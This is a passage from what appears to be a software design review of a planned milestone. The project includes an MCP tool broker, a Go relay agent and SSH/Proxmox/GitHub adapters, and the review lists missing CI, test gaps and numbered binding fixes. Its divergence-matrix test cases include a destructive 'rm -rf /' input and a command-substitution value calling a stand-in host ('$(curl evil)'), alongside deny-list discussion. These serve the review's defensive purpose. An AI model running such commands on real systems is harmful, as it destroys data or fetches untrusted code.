  4. The Go agent reader goroutine DROPS unknown messages. Verified: apps/relay-agent/wsclient/client.go:182-203 — the reader goroutine unmarshals every message as pongMessage (var pm pongMessage; json.Unmarshal(raw, &pm)), and on parse failure, continue (line 194) — it does not dispatch on type. The comment (line 192-194) says "Not a pong; ignore but keep the loop alive for protocol extensibility (M2 tool-call messages will arrive here)." So M1 drops tool_call messages silently today. Wave H (PLAN.md:325) adds routing — but the current code structure (unmarshal-as-pong, continue-on-failure) means the H engineer must restructure the reader goroutine to dispatch on type first, then unmarshal into the right struct. This is not a 1-line addition; it's a reader-goroutine restructure. The plan says "M2 adds routing for tool_call messages alongside the existing pong handling" (PLAN.md:325) — "alongside" understates the restructure. The heartbeat loop (which depends on the reader goroutine signaling pongArrived) must not break. This is an M1-file behavioral change with regression risk.

Confidence: 0.78 — all three are fixable; the audit-type union and the WS tool_call case are M1-file edits that must be owned; the Wave 0 RLS risk is the highest-impact because it could surface M1 bugs that block M2.


Axis 9: Operational Readiness

Verdict: FAIL

The M2 acceptance gate (spec §6) has 15 items. The plan addresses each in the Final Phase (PLAN.md:506-509). But the operational foundation for the gate does not exist.

  1. No CI/CD pipeline. Verified: .github/workflows/ does not exist. STATE.md: "CI / CD: UNKNOWN — needs investigation (no CI/CD pipeline configured; local verification via pnpm typecheck/test, go test, bash install.test.sh)." Gate item 5 ("CI/CD pipeline builds successfully — GREEN") and gate item 6 ("CI Postgres 16 container running; RLS policies verified against real Postgres; real GitHub PAT available in CI") cannot pass because there is no CI. The plan's Wave 0 (PLAN.md:26-27) lists "CI Postgres 16 container provisioned" and "Real GitHub PAT available in CI" as prerequisites, but does not list "create the CI/CD pipeline itself" as a task. This is the elephant: Wave 0 must build a GitHub Actions workflow (or equivalent) from scratch — service containers, secrets, matrix jobs, caching, the PAT as a repository secret. That is a non-trivial infrastructure project that the plan elides into a bullet point. This is a P0 blocker for the M2 gate.

  2. CI environment prerequisites are not provisionable as described. The plan's test strategy (PLAN.md:554) calls for "Two CI jobs: test-pglite (default) + test-postgres (service container + DB_MODE=pg + role setup)." This requires: a GitHub Actions workflow, a Postgres 16 service container, role setup (coreci_app no BYPASSRLS, migrator BYPASSRLS) via packages/db/scripts/setup-ci-roles.sql (R-009), and a real GitHub PAT stored as a repository secret. None of this exists. The setup-ci-roles.sql script is a Wave 0 deliverable (R-009) that does not exist yet. The PAT is "ephemeral or test-org-scoped" — but there is no test org configured, no PAT issued, and no secret store to put it in. These are not "prerequisites" that someone else provides; they are M2 work items that the plan does not size.

  3. No CI/CD pipeline means no LLM smoke, no real-GitHub smoke, no Postgres-16 RLS verification, no coverage gate, no M1 non-regression in CI. Gate items 3 (coverage ≥80%), 4 (DB coverage ≥80%), 5 (CI GREEN), 6 (Postgres 16 RLS), 7 (real GitHub smoke), 8 (LLM smoke P0), 1 (M1 non-regression) — all require CI. 9 of 15 gate items are unprovable without CI. The plan's Final Phase (PLAN.md:506-509) says "M2 gate items 1-15 all pass" — but 9 of them cannot be asserted without the CI infrastructure that does not exist. This is not a "Wave 0 prerequisite" gap; it is a foundational gap that makes the M2 gate unverifiable.

  4. The "UNKNOWN — needs investigation" from M1 STATE.md was never investigated. The M1 STATE.md (section 3) flagged CI/CD as "UNKNOWN — needs investigation." M1 shipped without CI (local verification only — pnpm typecheck/test, go test, bash install.test.sh). M2 inherits this unknown and elevates it to a P0 because the M2 gate requires CI. The plan does not acknowledge that "Wave 0 prerequisites" includes "build the CI pipeline that M1 never had."

This is the second P0 blocker. The M2 gate is unverifiable without CI. The fix is not a binding-fix-level patch — it is a foundational work item that must be added to Wave 0 as an explicit task: "Build the CI/CD pipeline (GitHub Actions workflow, Postgres 16 service container, role setup, PAT secret, two jobs: test-pglite + test-postgres)." Without this, EXECUTE will produce code that cannot be gate-verified.

Confidence: 0.95 — this is the clearest operational gap. The plan cannot ship M2 without it.


High-Stakes PO Claim Stress-Tests

PO Claim #1 — "Closed tool set completeness (Q2) — is anything missing that operators will demand?"

Verdict: CLAIM SUBSTANTIVELY MET, WITH DOCUMENTATION GAP. The 9-tool set is a defensible conservative starter, and the "additions require spec amendment" gate is enforceable technically. But operators will demand ps aux/ss -tlnp (SSH), Proxmox list_nodes, and GitHub PR-list on day 1 (Axis 2). The gate is politically enforceable only if the gaps are documented pre-ship so customers agree to the closed set with eyes open. The fix (G-014) is documentation, not scope change. With the fix, the claim holds.

PO Claim #2 — "Defense-in-depth validation (broker + Relay Agent for SSH) — is the two-layer model actually sound?"

Verdict: CLAIM MET, WITH A DIVERGENCE GAP. The two-layer model is architecturally sound (Axis 3). The gap is that the two implementations use different matching algorithms (TS regex vs Go tokenizer + deny-list) and the cross-layer test only asserts the both-reject case, not the both-accept or divergent cases. systemctl status nginx rm -rf / (broker rejects, Go accepts) is an untested divergence. The fix (G-013) is to expand the cross-layer test to a divergence matrix and tighten the Go deny list. With the fix, the claim holds.

PO Claim #3 — "INV-7 verification at the BROKER (not just at the adapter) — is this actually verified?"

Verdict: CLAIM MET FOR M2, WITH FRAMING CORRECTION. The broker does enforce INV-7 (Axis 4) — the write-blocklist rejects non-GET methods pre-dispatch. But the plan inverts the load-bearing boundary: the closed 9-tool registry (REQ-015) is the primary boundary (shutdown_vm is not a tool); the write-blocklist is a backstop for adapter bugs. The plan's "the broker is the load-bearing safety boundary" framing overstates the blocklist and understates the registry. For M2's 3 specific PVE GET endpoints, the blocklist is sufficient. For the future (GraphQL, PVE GET-with-side-effects), the method blocklist is insufficient and an endpoint allowlist is needed. The fix (G-015, G-016) is documentation + separating the method-blocklist and scope-403 enforcement models. With the fixes, the claim holds for M2.

PO Claim #4 — "MCP 2025-06-18 conformance evidence — your 0.80 confidence on Q1 is the lowest — verify before locking."

Verdict: CLAIM HONESTLY RISKED, WITH A CLOSING FIX AVAILABLE. The 0.80 confidence is honest (Axis 5) — the internal shape is verified, the external interoperability is not. The synthetic initialize handshake is a facade (function call, not transport exchange). The 6 conformance tests verify shape, not that an external MCP client can connect. The stdio transport (used by the LLM smoke) is the one real-transport path and it is not in the conformance suite. The fix (G-017) is a 7th conformance test over stdio. With the fix, the confidence moves from 0.80 (honest-but-unverified) to evidence-backed. Without the fix, the gate item 15 artifact is a self-attestation, not an interop proof.

PO Claim #5 (P0) — "The LLM smoke is a Section 6 gate item, not aspirational. If packages/llm-mock cannot reliably drive the full path against a real GitHub target in CI, that's a P0 issue."

Verdict: CLAIM NOT MET — P0 BLOCKER. The smoke is correct in flow (Axis 6) but rests on infrastructure that does not exist (no CI) and a dependency with no fallback (real GitHub). The plan has no retry policy, no mock-GitHub fallback, and a brittle mock pattern-matcher. This is a P0 blocker (G-018, G-019) that must be resolved before EXECUTE.


Binding Fixes

Numbered G-011..G-022 (continuing from M1 GRILL's G-001..G-010). P0 = blocks ship; P1 = post-hoc (must land before the wave it touches ships, but does not block the plan from proceeding to Wave 0/F).

ID Axis Severity Fix Blocking wave Verification
G-011 6,9 P0 Build the CI/CD pipeline as an explicit Wave 0 task. Add a task to Wave 0: "Create .github/workflows/ci.yml with two jobs (test-pglite default + test-postgres service container + DB_MODE=pg), Postgres 16 service container, coreci_app/migrator role setup via setup-ci-roles.sql (R-009), GitHub PAT as repository secret (secrets.GITHUB_PAT), caching for pnpm + go modules, coverage upload." This is not a "prerequisite" someone else provides — it is M2 work. Without it, 9 of 15 gate items are unprovable. Wave 0 CI runs green on a PR; both jobs pass; setup-ci-roles.sql exists and provisions roles; PAT is in repository secrets.
G-012 8 P1 Own the M1 audit-type union extension as an explicit M1-file edit. Add to Wave F task 10: "Extend AuditEventType in packages/db/src/audit.ts with `adapter.configured adapter.test_connection.succeeded adapter.test_connection.failed
G-013 3 P1 Expand the cross-layer SSH test (R-003) to a divergence matrix. Add to Wave H task 5: (a) both reject rm -rf / (existing); (b) both accept systemctl status nginx (new — proves both layers agree on valid); (c) broker rejects systemctl status nginx rm -rf / (regex fails on spaces) — assert Go also rejects (currently does NOT — tighten Go deny list to include bare rm OR validate systemctl status trailing tokens against ^[a-zA-Z0-9_.-]+$); (d) Go accepts systemctl status nginx$(curl evil) (deny list misses $()) — assert broker rejects (regex fails). Cases (c) and (d) will initially fail on one layer; the fix is to tighten the Go layer to match the broker's per-command validation for the 6-command subset. Wave H All 4 divergence-matrix cases pass on both layers; Go deny list includes rm or Go validates systemctl status trailing args.
G-014 2 P1 Document the known closed-tool-set gaps in the Settings → Adapters UI help text. Add to Wave J task 2 (Settings UI): help text per adapter documenting what is not available in M2: SSH ("M2 supports 6 diagnostic commands; ps, ss, top, ip are deferred to v1.2+"), Proxmox ("list_vms requires a node argument; a list_nodes tool is deferred to v1.2+"), GitHub ("list_repos returns up to 100 repos (first page); pagination and PR/issue lists are deferred to v1.2+"), Gitea ("get_workflow_run is deferred to v1.2+"). This sets operator expectations pre-ship so the "additions require spec amendment" gate is politically enforceable. Wave J UI help text renders the gaps; a review checklist item confirms each adapter's help text lists its M2 limitations.
G-015 4 P1 Correct the INV-7 framing: the closed 9-tool registry is the primary boundary; the write-blocklist is a backstop for adapter bugs. Add a note to Wave F task 4 (write-blocklist) and to packages/mcp/PROTOCOL.md: "The closed tool registry (REQ-015) is the primary INV-7 boundary — proxmox.shutdown_vm is not a tool and cannot be routed. The write-method blocklist is defense-in-depth against adapter bugs (an adapter mistakenly constructing a non-GET). Security review must audit both the registry (closed enumeration) and the blocklist (method reject)." Wave F PROTOCOL.md and write-blocklist module docstring state the two-layer framing; security-engineer sign-off confirms both audited.
G-016 4 P1 Separate the write-blocklist into two enforcement models and document the GraphQL/PVE-GET-with-side-effects future risks. Add to Wave F task 4: (a) method blocklist (Proxmox/Gitea: pre-dispatch HTTP-method check, REST-only); (b) scope-via-403 (GitHub: runtime 403 + X-Accepted-GitHub-Permissions handling, per R-004). Document in PROTOCOL.md: "The method blocklist is REST-specific. A future GraphQL adapter (not in M2) needs a different enforcement model (operation allowlist, not HTTP method). PVE has some GET endpoints with side effects; the 3 M2 endpoints are verified read-only. An endpoint allowlist (only permit specific paths) is the M3+ evolution if the tool set grows." Wave F write-blocklist module has two documented enforcement paths; PROTOCOL.md documents the future risks.
G-017 5 P1 Add a 7th MCP conformance test over stdio transport. Add to Wave F task 12: tests/mcp-conformance/stdio-interop.test.ts — connects to the broker via stdio transport (the same transport the LLM smoke uses), issues a real tools/list JSON-RPC request over stdin/stdout, asserts the response is a valid JSON-RPC 2.0 envelope with the 9 tools, then issues a tools/call for a mock adapter and asserts the result shape. This is the test that proves an external MCP client can connect. Optionally: run the official MCP inspector against the broker as a CI step. Wave F stdio-interop.test.ts passes; an external stdio client receives valid tools/list + tools/call responses.
G-018 6 P0 Add a github-mock adapter and a two-track LLM smoke. Add to Wave J task 5: (a) packages/llm-mock smoke against github-mock (a deterministic canned-repo adapter, distinct from the broker stub) — runs always, asserts the OpenAI→MCP→adapter→result→synthesis path with canned repo names [{"name":"coreci-test-repo-1"},{"name":"coreci-test-repo-2"}]. This is the P0 gate (reliability — no external dependency). (b) packages/llm-mock smoke against real GitHub (real PAT) — runs when the PAT is available, marked allow-failure or optional so a GitHub outage doesn't block the gate. The mock path proves the integration; the real path proves real-target connectivity. Wave J Mock-path smoke passes reliably in CI (no GitHub dependency); real-path smoke passes when GitHub is available, does not block when it isn't.
G-019 6 P0 Harden packages/llm-mock pattern matching and add a retry policy. Add to Wave J task 1: replace the 2-word conjunction pattern ("list" + "repo") with a keyword/regex set (e.g., `/(list show get).*\b(repo
G-020 7 P1 Ship a documented McpAdapter interface in Wave F. Add to Wave F: a packages/mcp/types.ts (or similar) exporting the McpAdapter interface that both in-process adapters (G/I) and the WebSocket-backed SSH adapter (H) implement: tools/list() → Promise<Tool[]>, tools/call(name, args) → Promise<McpResult>, registration mechanism. F's stubs implement it; G/H/I's real adapters implement it. The router (T3) must accommodate both in-process module adapters and WebSocket-backed adapters (the SSH adapter wraps a WebSocket round-trip inside tools/call). This makes F→G/H/I a contract handoff. Wave F McpAdapter interface exists and is exported; all 4 stubs implement it; G/H/I real adapters implement the same interface without router changes.
G-021 8 P1 Add a specific M1-relay-WS regression test for the tool_call case addition. Add to Wave H: a test asserting registerregistered and pingpong still work after the tool_call case is added to ws-server.ts handleMessage switch. Also: restructure the Go agent reader goroutine (client.go:182-203) to dispatch on type before unmarshaling into a specific struct (currently unmarshals-as-pong, continues on failure — tool_call is silently dropped). The restructure must not break the heartbeat pongArrived signaling. Wave H M1 relay-WS regression test passes (register + ping unchanged); Go reader goroutine dispatches tool_call to the new handler and pong to the existing handler.
G-022 8 P1 Run the full M1 test suite against Postgres 16 in Wave 0 (not just the RLS pen-test). Add to Wave 0: after setup-ci-roles.sql and the test-postgres CI job are provisioned (G-011), run the entire M1 test suite with DB_MODE=pg (not just tests/pen/). Any M1 RLS failure (a policy that allows cross-tenant SELECT, a missing FORCE ROW LEVEL SECURITY, a wrong WITH CHECK) is an M1-regression P0 that blocks M2 until fixed. Document that Wave 0 is the first real-RLS test of M1. Wave 0 Full M1 suite passes against Postgres 16 with DB_MODE=pg; any RLS failure is filed as M1-regression P0 and blocks M2.

Escalations

ID Axis Issue Confidence Action
E-001 6,9 No CI/CD pipeline exists. The M2 gate (9 of 15 items) is unverifiable without CI. Wave 0 must build it from scratch. This is a P0 blocker that the plan elides as a "prerequisite." 0.95 Escalate to PO: confirm that building the CI/CD pipeline is in-scope M2 work (not an external prerequisite), and that the M2 cycle timeline accounts for it. If the PO expects CI to be provided externally, this must be resolved before EXECUTE.
E-002 6 Real-GitHub LLM smoke has no reliability fallback. The P0 gate item 8 depends on an external service with no mock fallback. A GitHub outage fails the M2 gate. 0.90 Escalate to PO: confirm the two-track smoke approach (G-018: mock-path is the P0 gate; real-path is optional/allow-failure) is acceptable, or whether the PO requires the real-GitHub path to pass reliably (in which case the cycle needs a retry policy + a guaranteed-available PAT, which is a larger infra ask).

Final Verdict

FAIL — Two P0 blockers prevent the M2 gate from passing as planned:

  1. No CI/CD pipeline exists (E-001, G-011). 9 of 15 gate items are unprovable without CI. Wave 0 must build the pipeline from scratch as an explicit M2 work item, not a "prerequisite."
  2. LLM smoke has no reliability fallback (E-002, G-018, G-019). The P0 gate item 8 rests on an external GitHub dependency with no mock fallback, no retry policy, and a brittle mock pattern-matcher. A single GitHub hiccup fails the gate.

What must change before EXECUTE:

  • Resolve E-001 and E-002 with the PO (CI scope + smoke two-track approach).
  • Apply G-011 (build CI as Wave 0 task), G-018 (mock-GitHub smoke track), G-019 (harden mock + retry policy) — these are the P0 fixes.
  • Apply G-012..G-017, G-020..G-022 (P1 fixes) to PLAN.md before the wave each touches ships. The orchestrator should apply these to PLAN.md after GRILL.

The plan's architecture is sound. The MCP broker design, the defense-in-depth SSH model, the closed tool registry, the M2→M3 contract freeze, and the wave decomposition are all defensible. The failures are not architectural — they are operational (no CI) and reliability-engineering (no smoke fallback). These are fixable without re-architecting. Once the two P0 blockers are resolved and the P1 fixes are applied, the plan is sound to proceed to EXECUTE.

The M2 plan's central bet — that the broker is the load-bearing safety boundary and the 9-tool closed registry is the gate — is correct, provided the framing is fixed (G-015: the registry is primary, the blocklist is backstop) and the conformance is proven over a real transport (G-017: stdio interop test). The LLM smoke is the right gate item; it just needs a reliable foundation.


End of M2 GRILL. M1 GRILL preserved in git history (G-001..G-010). This M2 GRILL records G-011..G-022 + E-001..E-002.